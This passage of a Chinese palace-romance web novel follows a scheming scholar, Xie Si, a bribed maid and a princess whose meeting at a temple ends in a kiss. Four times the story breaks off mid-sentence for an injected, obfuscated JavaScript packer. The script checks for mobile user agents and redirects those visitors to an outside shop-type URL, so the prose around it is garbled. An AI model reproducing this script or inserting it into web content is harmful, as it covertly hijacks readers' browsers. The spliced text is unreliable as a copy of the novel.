谢随一路踉跄着将翠珠送到了巷口,待翠珠的身影完全消失在巷道尽头才折返回屋,他才合上门,屋里的衣柜门就没出息地开了。 一道黑色身影,倒垃圾一样被那衣柜倾倒而出。 “哎呦喂,你那衣柜怎么那么小?还不通气,可闷死我了,”那人揉着酸麻的腿脚,表情扭曲,那张布满刀疤的脸看起来更狰狞了。他抱怨道:“你说说,我可是大大方方走后门进来寻你的,比水还清白,却弄得像个三更半夜爬墙偷人的臭流氓,躲在衣柜里听墙角儿。我夏宵,堂堂江湖万事通,在江湖上混了这么多年,还是头一回受这样的委屈……” 如果冯妙瑜在此,也许会认出这个半夜从谢随的衣柜中爬出来的狼狈身影,正是那日在云塘酒楼里引谢随去酒窖的小厮。 “我都还没来得及问。你怎么跑到我这里来了,大人不是安排你在盛京暗中联系,收买朝中大臣么?”谢随压低了声音道。 冯妙瑜一行人才走没多久,这家伙便从茶馆后门偷偷溜进到谢随屋里,还好今日骆掌柜出门拜访故友了,不然谢随都不知道该怎么向骆掌柜解释夏宵。 毕竟,骆掌柜什么都不知道。 毕竟,一个“陌生”男人大半夜跑到另外一个“陌生”男人家里借宿,是件让人不得不多往下想想的事情。 夏宵摇摇头。 “别提了,明个一早,城门一开我就麻溜滚回云塘去。” “盛京的水比我想象中深太多了。士阀,寒门,文臣,武将,大小派系,这鬼地方还到处都是冯狗的眼线,染料坊的染缸似的。我怕轻举妄动会提前暴露那位大人的存在,”他说着,长吁一口气,“人倒霉起来真是在家都能踩到野狗屎。这大人交办的差事没办好就算了,我方才好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14357893|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 端端在街上走着,却差点被一个贱人给认出来。这会城门早都关了,我也只能跑你这来躲一晚了。” 谢随靠坐在椅上,半眯着眼睛。 “你不是说江湖上见过你的真容的人一只手都数的过来吗?” “可那贱人就是其中之一啊,”夏宵磨了磨牙,恨恨道:“大半年前,他在盛京附近失去了踪迹,大家都以为他死透了,谁知道他竟然还活着,还大摇大摆在街上晃着!” “他是个什么样的人?” 若是对那位大人有威胁,那就立即除掉。若没有威胁,那此人是否可以为己方所用?谢随在心里想着。 “论武功,江湖里能排进前十的杀手。论相貌,也就比我长得俊一点,高一点。” 看着夏宵那飘移不定的眼神,谢随就知道那人绝对不止夏宵口中的只比他“俊一点,高一点”。 “你可别想着这人能为大人所用。” 夏宵也看穿了谢随的想法,冷笑道:“那贱人纵有千好万好,可坏就坏在他还长了一张嘴。因为那张臭嘴,他的仇家手拉手能绕盛京外城三圈。要是有哪位大善人能行行好冲上去毒哑了他,我夏宵愿意拜其为再生父母。这样的功绩,就是立十座牌坊,建十间祠都远远不够。” “原来是这样。” 谢随淡淡说着,他心里倒没多少失望。 江湖中的能人异士虽然也能助力那位大人,但那不过是杯水车薪,眼下最要紧的还是争取朝中势力。 夜也深了。 谢随安顿夏宵在隔间歇下后回屋,无意瞟见翠珠留下的玉镯还在桌上,他抓起来把玩了两下,真蠢呐,他想着,随手将那玉镯锁进柜子里。 今日他与翠珠的谈话内容只有他们两个当事人和躲在衣柜里的夏宵知晓,他若是不承认,她根本没任何办法不是么。他手里拿着这个镯子,相当于捏着她的命门,只要他想,他甚至可以把泄露冯妙瑜行踪,与平远侯残党合谋刺杀长公主的罪名推到翠珠身上去。叫她死无葬身之地。 世人皆知武者用刀杀人,鲜有人知文人的嘴,还有他们手里那一杆笔,有时可比武者的刀还要厉害。杀人不见血。 她以为自己敲到了竹杠,殊不知,那银子其实是谢随付她的报酬—— 收买长公主身边的贴身侍女,那个数字其实并不算高。 谢随揉了揉眉心,换上寝衣睡下了。 也许是有伤在身的缘故,他这晚睡得并不安稳。 梦里也是春日晴好。 冯妙瑜不知道为何坐在他身边,阳光下她眼睛里波光粼粼,动人极了,毛茸茸的梅花发簪扫过他的下颌,杏花香气萦绕,他的心里却像压了块石头一样沉重。 没由来的烦躁。 梦里的他突然伸手,轻轻地,拿走了那支碍眼梅花发簪,她的长发瀑布似的散落下来。 谢随猛地睁开了眼。 似乎下雨了。淅淅沥沥的雨声,屋里静悄悄的,没有冯妙瑜,也没有什么梅花簪子。 衔蝉肥嘟嘟的猫屁股压在他胸口,尾巴时不时扫过他的脸。 谢随抿了抿嘴,一把拎起衔蝉的脖子把它扔下床。 12. 苍宴 “河中突发桃花汛赈灾所需钱粮不足。” “京中大兴土木,修筑消暑行宫缺银子。” “兵部本月实际开支已超过预算。” …… 一封,两封,三封。 冯妙瑜翻着今早门房送来的书信公文,不由得翻了个白眼,哭笑不得,“这些人,哭穷怎么都哭到我这里来了,我又不是管账的。” 她大大伸了个懒腰。 她已经坐在这里看了大半个上午的公文。案牍劳形,公文这种东西是永远都处理不完的,总要给自己找点乐子调剂一下才是,冯妙瑜想着,搓搓小手,从雪片一样的公文底下抽出提前藏好的话本子,一面吃果子一面看,看的是津津有味。 近来有个名为“冂吉”的书生所作的话本子很是流行,冯妙瑜也偷偷收藏了一套。 她一口气从第一卷看到了第十卷,那狐妖书生和大家小姐间的误会竟然还没有澄清,痴缠拉扯,搞得人心里像是猫爪挠一样,冯妙瑜每每看到卷尾“天气晴好,出游两日。欲知后事如何,且待下卷分解”几个大字时,都恨不得派人把这个冂吉拉出来,关到一间除了笔墨桌案外什么都没有的小黑屋里让他好好写话本子,别光顾着吊人胃口。 她还在回味话本子的内容,翠珠却突然进书房了,冯妙瑜匆匆拿了几份抵抄盖在上面。 主子带头偷闲就罢了,若是叫下面的人看去了,有一学一,那她这公主府日后还有什么章法纪律可言。 翠珠行了礼,将一箩筐画卷放在冯妙瑜手边。 “刘公公过来了。”翠珠道。 自从冯妙瑜身体好转后,刘公公三天两头的顺路过来,说是代帝王探望公主,但是有谁探望病人是带着一筐又一筐男子画像来的,还是在催促冯妙瑜选择驸马之事。 “先寻个借口打发他回去。”冯妙瑜道。 翠珠笑道:“公主放心,奴婢已经打发刘公公回去了。眼下快到夏天了,奴婢自作主张给刘公公送了只软玉冰枕和一袋金叶子,您不会怪奴婢多事吧?刘公公是宫里的老人,圣上那边他已经答应了会帮公主多说两句好话的。” “你做的好,我怪罪你做什么?”冯妙瑜道。 翠珠就好在这点上,伶俐省心。话不用说明白,有些事情甚至都不用说出口,她就知道该怎么办,怎么办好了。 见冯妙瑜心情不错,翠珠又道:“奴婢按公主的吩咐,又挑选出了几个合适的驸马人选出来,公主眼下可要听听?” 翠珠一面说着,一面偷偷瞅着冯妙瑜的眼色。这几个人都是她精挑细选出来的,绝对符合冯妙瑜的要求,但是又差上那么一点点火候。 果然,冯妙瑜听完后摇了摇头。 “知道了,还有其他的人选吗?”冯妙瑜叹了口气。 “就这几位了。” 翠珠说着,故做迟疑状,又试探着说,“不过,奴婢这里倒还有个人选,只是那人不在这些画像里,又不大符合公主的条件,所以奴婢不知当讲不当讲?” “是哪家的公子?” “那位公子您也认识的——就是那位谢公子,您觉得他怎么样?” 冯妙瑜正抬手喝了口茶,乍一听到谢随的名字,登时就是一愣。 谢随。 粉釉胭脂茶盏落在书桌上,轻轻地跳了一下。 人品、相貌、学识样样出挑,出身世家却又落魄。一个早已失去了家族荫蔽的少年,连寒门子弟都不如,帝王怎么会去忌惮,又有什么好忌惮的?这样想来,似乎没有比他更合适的驸马人选了。 冯妙瑜灌了一大口冷茶,连茶水溅到了裙子上都没注意到。 与其这样草草挑一个陌生男子嫁了,她宁愿和谢随结为夫妻—— 这是十年前,她做梦都不敢肖想的事情! 只是,娶她这样一个声名狼藉的女子为妻,谢随会愿意吗?谢家的长辈们会允许吗? 她的眼神暗了暗。 “谢公子自然是个好人,只是这还得看谢公子的想法。他要是没有这个意思,这种事情也不能勉强人家。” 翠珠就笑了笑。 “公主,恕奴婢直言。以谢公子如今的身份,能攀上您这样的贵人,那可是他十辈子修来的福气!有什么勉强不勉强的。只要公主您有这个意思,明日他就是您的人。” 冯妙瑜虽然不想承认,但有那么一个瞬间,她的确有些动容。 一个声音在她耳边絮絮低语。 “翠珠说的没错。他现在可早就不是那个光风霁月的谢家大公子了,而你也不再是那个被扔在冷宫无人在意的孩子了。权势滔天的长公主,喜欢了便痛痛快快拿来就是。他的想法?那又有什么要紧的?名为‘权势’的刀剑架在他脖子上,就算是不喜欢,不情愿,时间久了慢慢不就有感情了么。反正成了你的驸马后,他也没有别的选择了。” 冯妙瑜闭了闭眼睛,最后还是摇了摇头。 “不行,这种事情不能强求。” 强扭的瓜不甜。 更何况,她若这样做,那和父皇又有什么区别呢?用权势去敲碎爱人的羽翼,再给关在冷冰冰的金笼子里。那与其说是爱,倒更像是恨。她不想这样。 她想要的是一个真正的家,而不是一间冰冷的宫室。如果谢随没有这个意思,那她宁愿放下。寻一个待她有几分真心的人,年少时的恋慕总是刻骨,也许她很难像喜欢谢随那样再去喜欢上一个人,但时间会淡化一切,年少时那抹身影再惊艳也会渐渐淡去的。 翠珠急得跺脚,张口还想再说两句,冯妙瑜却不想再谈这事了,摆摆手叫她下去。 桌上待处理的公文依旧堆积如山,只是经过翠珠这么一打岔,她也没了处理公文的心思。 不过,翠珠一番话倒也点醒了她。 冯妙瑜提笔在白纸上写下谢随两个字。如果他愿意的话……想着想着,她却突然又想到了另一桩事情。 当年谢家获罪后,父皇念及谢家劳苦功高,所以只判了个流放几年,好像是流放去了梅州吧?可眼下怎么只有谢随一人回到盛京,谢家的其他人又都去了哪里?难道还留在梅州吗? 雪白纸面上晕开好大一团墨渍。 冯妙瑜想了想,叫来一个小侍女吩咐道:“去把苍公子叫过来,就说我有要事找他。” 这种谢家的家里事,她无论是找谢随本人打听,还是让翠珠阿玉去打听好像都有些不合适。 她正好想起来,苍晏在梅州待过好几年。这些江湖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14357894|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人士多多少少都有自己的人脉渠道,从他这里打听谢家的消息更合适些。 那个小侍女似乎是个新来的,她呆呆地答应了一声,又问道:“那奴婢是让苍公子来书房找您,还是让他去您卧房里等着您?” “让他直接到书房来。” 小侍女却有些脸红,小声问道:“那奴婢叫人备了热水过来?” “不用,我只是和苍公子说两句话。你记得一会把书房里的其他茶具都撤了就行。”冯妙瑜道。 “公主,真的不用热水吗?” “不用!” 冯妙瑜都不知道该说什么好了。 也许还不到明天一早,她和苍大面首在书房“胡来”的事情府里就传遍了。 冯妙瑜在心里凉凉地想。 —— “可是素烟来信了,她都说什么了?有提到我吗?” 书房门口架着一道黄花梨嵌绿玉大插屏,这人还未进屋,声音就先传了进来,半息后,一个身材高挑的身影自插屏后转出。 只是一件普通的不能再普通的月白素袍,广袖层层堆叠,常人穿了只会显得臃肿不堪的衣袍,在他身上却是飘然似仙,凤眸微挑,那张面容的伟大之处难以用语言形容。 哪怕冯妙瑜早就知道此人的本性有多恶劣,可是每次见到这张皮相时,还是会忍不住为之惊艳。 实在是太美了。 一个男人,怎么能长得这样好看。 “看什么看,以为就你长了双眼睛,瞪什么瞪,跟门口的癞蛤蟆一样。素烟的信,拿来!”苍晏皱着眉,不耐烦地命令道。 他是一点都没有人在屋檐下,应该低个头的自觉。 一个面容身段好似谪仙般的美人儿,偏偏有一张无比恶毒的嘴和一副连狗都嫌弃的性子。想来,女娲娘娘在捏人时还是很公平的。 “今日素烟没有送信过来,我今日叫你来是有其他的事情想请你帮忙。”冯妙瑜道:“我想请你帮我打听一个姓谢的家族。他们大概在八年前搬去了梅州……” 素烟是冯妙瑜的一位故交,也是与苍宴同门的小师妹。苍宴半年前在京郊遭仇家们联手围攻身受重伤,就是她把重伤的苍宴带到盛京,又拜托冯妙瑜帮忙藏匿的。 苍宴闻言,登时瞪大了眼睛。 “没有素烟的信,你竟然敢叫小爷过来?啧啧,你好大的脸——” 书房里只有一只椅子,他便直接坐在了一旁的供桌上,鞋尖几乎要碰到墙上那副画上。 那幅墨竹可是后唐李夫人的真迹!①冯妙瑜的心都在滴血。 “这就是你求小爷我办事的态度?我说打听个人你自己不会打听?哇,你看起来有手有脚,怎么跟个烧火棍一样,一头驴都比.......” 冯妙瑜的右眼狠狠跳两下,她抬手指了指公主府大门的方向。 “你再多说一句,我就叫侍卫赶你出去。”冯妙瑜冷冷威胁道:“你这辈子,都别想再见到你师妹的半封信。” “你这个拆人姻缘的奸诈小人……” 苍宴瞪着冯妙瑜,嘴唇抽动着,却只说了半句话。 “姻缘?素烟成亲都快三年了。” 冯妙瑜笑笑,顺便温柔地补上最后一刀。 13. 求姻缘(上) 大抵是春困秋乏的缘故,暮春时节的早上,一人一猫都从骨子里透着股恹恹的懒散劲儿。 阿玉捧着水晶镜进来时,翠珠正在给冯妙瑜梳头,而冯妙瑜则抱着雪团给那猫儿梳毛。 冯妙瑜抬头瞥了眼镜子,今日翠珠用带琉璃珠子的细线将她的头发编成数十条小辫,这样的发髻倒是新奇,冯妙瑜不由得多看了几眼,道:“这好像是蛮地那里的流行的发髻?” “眼下也是盛京最流行的发髻。” 翠珠笑着说:“公主,您还真别说,这蛮族的发髻和衣裳又简便,又好看。自从前几日那几个蛮族使者入京后,他们的发饰、衣裳都被人抢疯了。就昨日,还有两位小姐因为一件蛮服当街吵起来了呢。” 蛮族使者啊…… 这个时候上京觐见,大抵是为两国边市关税一事了。 西域蛮荒之地盛产汗血宝马与美酒,却缺少可以充饥的食梁。 为强兵富国,先皇长子冯重曜上奏提请两国互市。如今一晃二十多年过去,眼下国库亏空,海内苛税甚重,父皇这是准备提高边市关税,用以缓解国库亏空的问题了。 只是,增税一事对蛮族来说百害无一利,他们能答应么?也不知道五皇妹在那边过的怎么样了……要不要找机会去问问那几个使者? 冯妙瑜正乱七八糟地想着,一旁的翠珠却突然道:“眼着看快入夏了,公主今日要不要去法云寺逛一逛,求个姻缘?” 她这话里是带了典故的。 传闻前朝有一对感情极深的夫妻,两人入夏前在法云寺相识,历经战乱种种别离,多年后的初夏时节又重逢于法云寺,久别重逢的故事总是分外动人,自那以后,盛京便流传起了“入夏前去法云寺求姻缘,定会求得良人”的说法。 不过传闻说到底也只是传闻,冯妙瑜向来不信这些,但闲着也是闲着,趁着天气还没有热起来前出去玩玩也好。既然是去寺庙祈愿,她就选了件淡青的衣裳,袖口用银线绣了卷叶的莲花纹,她才刚披上外衣,苍晏却突然进来了,翠珠都叫他吓了一大跳。 “苍公子,我说你在来之前好歹叫人通传一声吧?”冯妙瑜拢了拢衣领,无奈道。 哪有这样直接闯进女子卧房的。 “就你?你又没小爷好看,有什么好遮掩的,”苍晏冷笑两声,敲了敲桌子,“你让我查的事情,查清楚了。” “这么快?”冯妙瑜有些惊讶道。 梅州与盛京隔着好几千里,这才过去了不到五日就查清楚了,冯妙瑜倒是对苍晏有些改观了,这人只要不动嘴说话,那还是很靠谱的。 “有个江湖上的朋友恰好在盛京,那家伙的消息很灵通——他啰啰嗦嗦说了一大堆,我就直接说结论,没了。” 没了? 什么没了? 冯妙瑜没反应过来。 “死绝了。”苍晏言简意赅。 “八年前,你要我打听的那家人还没进梅州,路上就遇上了山匪,最后只有一个小子侥幸活下来了。梅州那地方又偏又远,鱼龙混杂的,这种事情再正常不过了。”苍晏平静道。 冯妙瑜听完后微微一愣。 谢家的人竟然都死了。那谢随…… 直到坐上了去往法云寺的马车,冯妙瑜都没有缓过神来。翠珠轻轻扯了下她的袖子,在她耳边道:“公主,这不太好吧?” 说着,翠珠用下巴指了指坐在对面闭目养神的苍晏。 依旧是那身月白长袍,只是比往常多戴了顶斗笠掩面。 冯妙瑜也非常头疼。谁出门想带上这货。可苍宴一听她要去法云寺求姻缘,说什么也要跟上来……素烟和她夫君伉俪情深,冯妙瑜怀疑苍宴根本就不是去求姻缘,而是去求破坏人家姻缘,好叫他趁虚而入。 “无事,你当他不存在就好。”冯妙瑜叹了口气。 “可这……” 这个时候就轮到翠珠头疼了。 她可是收买了法云寺里的老师父,势必要在今日撮合了公主和谢随两人的,可眼下公主还带着个面首一起去,这像什么样! 到法云寺的路程不算很远,冯妙瑜一大早就动身出发,饶是如此,法云寺山门下的一百零八阶上还是挤满了人,大多数都是正值年华的年轻男女。 通往法云寺的路仅此一条,纵使不愿,也只能夹在人堆里慢慢往上爬,好在等她们进入法云寺后,人已经散去了许多。 姜黄色墙壁,院子里有颗苦楝树,开着素雅的淡紫色小花,苍宴不知道跑到哪里去了,冯妙瑜也懒得管他去哪了,反正那么大一个人,还有武艺傍身,有什么好担心的。 她转身进了普门殿。 殿内燃烧着柔和的老檀香,安静极了。一尊彩绘千手千眼观世音菩萨像居中而坐,雍容端庄,悲天悯人。 冯妙瑜跪于蒲团之上恭恭敬敬的拜了菩萨,上完香出去时,翠珠正在院子里和一位灰衣老师父说话。 见冯妙瑜出来,她忙走过来道:“公主,奴婢方才听那位知客师父说法云寺后山有颗姻缘树,很是灵验,我们去看看吧!” 冯妙瑜抿了抿嘴,却有些踌躇,待那位老师父无意间提到后山和云水寮相距甚远后,她才点了点头。 法云寺的后山说是山,却更像个依山而建的园子。那颗姻缘树还在后山上面,那位知客师父把两人领到入口的石阶处,简单指个路便离开了。 翠珠早已叫谢随在上面等着了,她正欲找个借口抽身离开,遥遥却走过来一个老妇人。 翠珠见她穿着一身素净的檀色布衣,本以为那是一个在此修行的妇人,可那老妇人却冲着冯妙瑜漂亮地行了礼,规规矩矩,挑不出一丁点毛病的宫礼。 自从到冯妙瑜身边伺候以来,翠珠从未见过冯妙瑜去法云寺,她又怎么会认识法云寺里的居士? 翠珠心里头正在嘀咕着,那老妇人已经走到两人跟前了。 “公主今日是来……?” 那老妇人脸上挂着和煦的笑,温和愉快里面藏着淡淡的疏离,那是在宫廷生活多年老姑姑特有的面相。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14357895|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “顺道过来转转而已,”冯妙瑜迟疑了一下,才问道:“虚云师太的身子可好?” “师太一切都好。既然来了,您要去云水寮看看师太吗?” 冯妙瑜摇了摇头 “我还是不去打扰师太清修的好。今日碰到我的事情,也还请你向师太保密。” 翠珠茫然听着两人交谈,待那老妇人离开后,翠珠道:“公主,您什么时候还认识了法云寺里的尼姑呀?” 冯妙瑜的表情却异常凝重,直接训斥道:“什么尼姑,是虚云师太。” “那,那您是什么时候认识了这位虚云师太?”突然就挨了训斥,翠珠有些迷茫了。 “这事我只说一次。” 冯妙瑜轻轻叹了口气。 当年的事情是宫里的一桩禁忌,翠珠入宫的时间晚,不知道才是正常的。 “那位虚云师太,”冯妙瑜组织了一下语言,低声道:“是先皇的发妻,原太子冯重曜和当今圣上的生母,尊号康仁皇太后娘娘。” 翠珠惊讶的张大了嘴巴,半晌,她又问道:“那您不去请安,是不是有些不合适?” “她不会想看见我的。”冯妙瑜的神色暗了暗。 三门宫之变,先皇被杀,原太子软禁流放的那晚,张氏却偏偏诞下了她。 皇太后坚持认为是她夺走了先皇和原太子的气运。如果说张氏只是没有那么爱她,那皇太后对她这个皇孙女就是纯粹的恨了。杀父夺子之仇,皇太后自请出宫前,那段被她软禁在冷宫百般折辱的时光,冯妙瑜看着石阶两旁的杉树林,幽深浓密,黑泱泱一片压过来,几乎要喘不上气来。 “那皇太后娘娘在此修行的事情为何从来没有人提起过?”翠珠好奇道。 三门宫之变是宫里的一桩禁忌,皇太后和父皇的关系就是另外一桩禁忌了。人似乎对于禁忌这种东西有种强烈的窥探欲,再平凡不过的事情,一旦成为了某种禁忌,莫名的就有一种吸引力。 “剩下的你不要再问。”冯妙瑜不愿再往下说了。 —— 那石阶七拐八绕的,却并没有多远的距离,不过说话间,就走到了尽头。 原来法云寺后山山顶上是颗非常高大的银杏树。云海,环绕着盛京的云州八山在古树身后铺开,这个时节银杏树的叶子还是翠绿,一层层绿色的小扇子,树枝上挂满了写着心愿的木牌,风一起,树叶子就和大大小小的愿望一起哗啦哗啦响个不停。 冯妙瑜攥着木牌走了几步,才发现自己并不是此地唯一一位访客。 银杏树下还站着一道修长的身影。他仰着头,正在挂一块许愿木牌,红绳搭在他白皙的手背上,他很专注的绕绳,打结,春光灿烂极了,冯妙瑜看着他俊秀的侧脸,脚下却往后退了半步。 冯妙瑜突然又想起那天晚上,微苦的墨香萦绕在鼻尖……她忽然就有种想要转身逃走的冲动,但就在这个时候,谢随挂好了那块木牌。 “公主?” 他疑惑道,眼神里却没有丝毫意外。 14. 求姻缘(下) 风。 一阵风。 接着又是一阵清风掠过。 山间的风总带着一股凉意,木牌翻飞间,密密麻麻。虽说是颗姻缘树,但是来这里许愿的人也不只是求姻缘的。金榜题名、身体健康、财源广进......枝叶轻轻扫过肩头,谢随指尖把玩着一块什么愿望都没有写上去的空白牌子,在心底轻蔑的笑了。 愿望? 想要什么,就该自己伸手去拿才是。寄托希望于所谓神明,那是何等懦弱——这世上根本没有神明,就算有,也是天地不仁以万物为刍狗①。 哭着去祈求也好,嘶吼咒骂也罢。 没用的。 他都试过了。 死者不会生,生者再痛苦,也只能活下去。 他其实看到冯妙瑜了。 今早翠珠派人让他提前到法云寺后山的姻缘树下等着,那捎来口信的小厮说话说的不清楚,只道翠珠姑娘说什么好事将成……谢随没有出声,只装作挂木牌的样子,眼角余光却一直瞥着不远处的冯妙瑜。 淡青色衣袂在风中鼓动,瞥见她后退的动作,谢随的眉头竟随之压了压,出声叫住了她。 —— 一愿世清平。② 二愿时岁静好。 三愿谢家郎君此生再无灾祸苦难,平安顺遂。 见谢随看过来,冯妙瑜登时有些慌乱,那写了三条心愿的木牌攥在手里,活像是像是抱着块烫手山芋,她匆匆挂起了木牌,好在谢随并没有看到木牌上的内容,她把手藏到背后,乱跳的心稍微安稳了一点。 “谢公子。好巧,没想到会在这里碰到你。”她笑着打了招呼,又问道:“谢公子,你许了什么愿?” 冯妙瑜踮着脚,想越过谢随看一眼他许了什么愿望。 他难道也是来求姻缘的? 她心里有点复杂。 “无非身体康健,万事如意之类,没什么好说的,”谢随随意敷衍道,又问冯妙瑜,“公主呢?” “也差不多。”冯妙瑜道。 翠珠方才走到半路就说肚痛跑去山下更衣了,眼下偌大的后山山顶上只有他们两人。 冯妙瑜落后谢随小半步,她偷偷抬眼看了他一眼。春天的阳光透过枝叶零零碎碎落在他肩膀上,谢随平日看起来是个文弱的书生公子,肩膀却很宽厚,挺直的腰板给人可靠的安心感。谢随似乎有点察觉到她的视线了,冯妙瑜很快垂下眼睛盯着自己的鞋尖,那鞋面上绣了盛开的木兰和刺槐花,快到正午时分,两个人的影子都只有很短的一团,她放慢了脚步,心里面希望时间也能走得慢一点。 这其实是个再好不过的机会,冯妙瑜想,只要装作不经意问一句你觉得我怎么样就好。或者干脆更大胆一点,直接说谢公子我觉得你不错,要不你做我的驸马如何? 反正男未婚女未嫁,这有什么呢。谢随要是点头那就皆大欢喜,要是婉拒那就说开个玩笑别当真。多简单的事情,不过说一句话而已。山间风凉,可她的手心全是汗,一个字都说不出来。 说出去的话泼出去的水,说了,可就没法收回来了。 她害怕。 真是害怕极了。 这话如果不说出来,两人还能像眼下一般并肩走上一段路,偶尔下下棋,聊聊天,不疏远,也不亲近,永远在心里保留一丁点的希望。她害怕这话说出口以后,两人别说并肩共行,就连说句话的机会都没有了,陌路人一般。 “公主今日可是为驸马之事而来?” 两人沉默着走了许久,谢随突然开口问道。 他其实刻意放慢了脚步,就为了等冯妙瑜开口说话。那个叫翠珠侍女不是传话来说好事将成么,命令也好,威胁逼迫也罢,他点个头答应就好。反正这一切都在他的算计之中。 路再长也有走到头的时候,何况这段路也没多远。 法云寺姜黄色院墙已经隐隐出现在视野里,谢随心里突然有点烦,再走下去就要到寺里了。那里人多眼杂,有些话眼下不说出口,只怕一会是更说不出口了。 真麻烦。 谁不知道她那个长公主府里面养着十几个面首—— 帝王后宫都不见得有那么多人,这平日关起门来生活不知道得有多糜烂荒淫,眼下还装什么清纯呢。 冯妙瑜在走神,过了好一阵才反应来,她轻轻“嗯”了一声,珍珠耳坠儿跟着晃荡两下。 “礼部周侍郎、司农寺卿家的公子、罗探花……盛京有不少青年才俊,哦,还有上次那位穿的花里胡哨的公子,我记得好像是姓林来着?这些人里面,公主可有中意的?”谢随故意问道。 一颗小石子被冯妙瑜一脚踢飞,啪啦啪啦从石阶上滚落下去。 到底要不要开口问谢随? 冯妙瑜心里还在左右摇摆不定,谢随见她久久不语,便开口道:“公主好像对这些人都不大满意?” 谢随说着,停顿片刻,他稍微放缓了语气。比暮春的风还要温柔的声音,又暗含了一丝不易察觉的诱惑。 “既然不满意他们,那公主觉得我怎么样?” “啊?” 冯妙瑜眨了眨眼睛,她实在是太惊讶了,连脚下的台阶都没看清楚,差一点踩空摔下去,好在谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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对天发个毒誓么? 冯妙瑜还正想着,却不料谢随突然将她拉到了一旁。 法云寺是座历史悠久的古寺了,这里的树木也是有年纪的,放眼望去,一人合抱粗细的树干,足以遮挡住任何行路人的视线。 反正这种事情早晚要做的,早一日晚一日又有何妨? 谢随一面想着,一面就将冯妙瑜紧紧抵在树上,女郎的眼瞳是淡淡的浅棕色,柔软无害,被那双眼睛盯着,谢随心里生出一股莫名的烦躁,他伸手遮住了那双眼睛。 “公主觉得,这样如何?”谢随低声问,嘴唇几乎是贴着她的耳边的,而后又低下头去亲吻她。 林子里的风冰冰凉凉的,那个吻也是。 15. 巫阳 说实话,那感觉并不大美妙。至少没话本子里写那般神乎其神……冯妙瑜的牙齿还被狠狠地磕碰了一下,但她此时也没有余力去想别的了,她半是被迫的仰着头,寺庙里浓重的沉香味和林子里的蝉鸣都渐渐远了,唯有血液流动和心脏狂跳的声音无比清晰。溺水般的窒息感。 冯妙瑜的脑袋晕晕乎乎的,快要呼吸不上来了,她用力推了谢随好几下,他却压得更紧了,最后只得狠狠在谢随嘴角咬了一口,谢随吃痛这才松开了她。 见她垂头沉默着,谢随抿了抿嘴,眼底闪过一丝不解。 她好像并不喜欢的样子。 是他做的不妥吗? 可她常看的话本子里不都是这样写的么,那日共乘马车时,车内放着几册话本子,他暗暗记下了书名,下去细细做了研究…… 难道是因为他多此一举捂了她眼睛? 也许从那些话本子里学习本身就是一件愚蠢的事情。谢随又瞥见她唇角上一抹嫣红,一时间有些难堪。 “是我唐突了,对不住。”谢随顿了顿,“公主若是不愿意的话……” “没有。” 齿间缠绕着淡淡的铁腥味,冯妙瑜别开了脸,声音很低,“我没有说不愿意啊。只是,只是……” 只是没有想到他会说喜欢她。 更没有想到有一天,她会和谢随成为家人。 简直像踩在松松软软的云朵上面,整个人都轻飘飘的。 她又飞快的看了谢随一眼。 不远处传来嘈杂的人声,脚步声,说话声,嘻嘻哈哈的从两人身边经过,纵使知道有树挡着根本看不见什么,可冯妙瑜还是忍不住脸红。 这可是在寺庙里,来来往往那么多的人——她和谢随都做了什么啊! “这件事,我会找机会和父皇说的。” 等冯妙瑜恍惚着走到了法云寺山门外,翠珠仍然不见踪影,而苍宴早已经站在马车旁等的不耐烦了。 “你那个侍女不舒服先回去了。” 他恶狠狠地啃了一大口苹果,目光扫过冯妙瑜,见她唇角还留着浅浅的血迹,微乱的头发和衣裳,苍宴愣了一下。 “你这样做不太好吧。”苍宴又啃了一口苹果,语气很认真,“在这种地方乱来,会天打雷劈的。” 习武之人声音洪亮如钟,苍宴自然也不例外。登时,有五六道诧异的目光朝冯妙瑜投来。 冯妙瑜一路上走的匆匆忙忙,哪有时间检查自己的衣着模样,她瞪了眼苍宴,低声道:“你闭嘴。” 苍宴又从袖子里摸出一个桃啃起来,冯妙瑜有些疑惑,就问道:“你从哪买的桃?” 他身上哪里来的银钱。 “拿的啊,那些屋子里的长桌上放着好多,也没其他人拿,我就拿了点。”苍宴说着,又从袖子里摸出几个李子,炫耀似的晃了两下,“你也想吃?” “那是供奉给神明的供果……该被天打雷劈的人是你吧。” 冯妙瑜摇摇头,长叹一口气,跳上了马车。 法云寺内,谢随静静看着那道淡青色的身影走远了。 “您可是谢大人?” 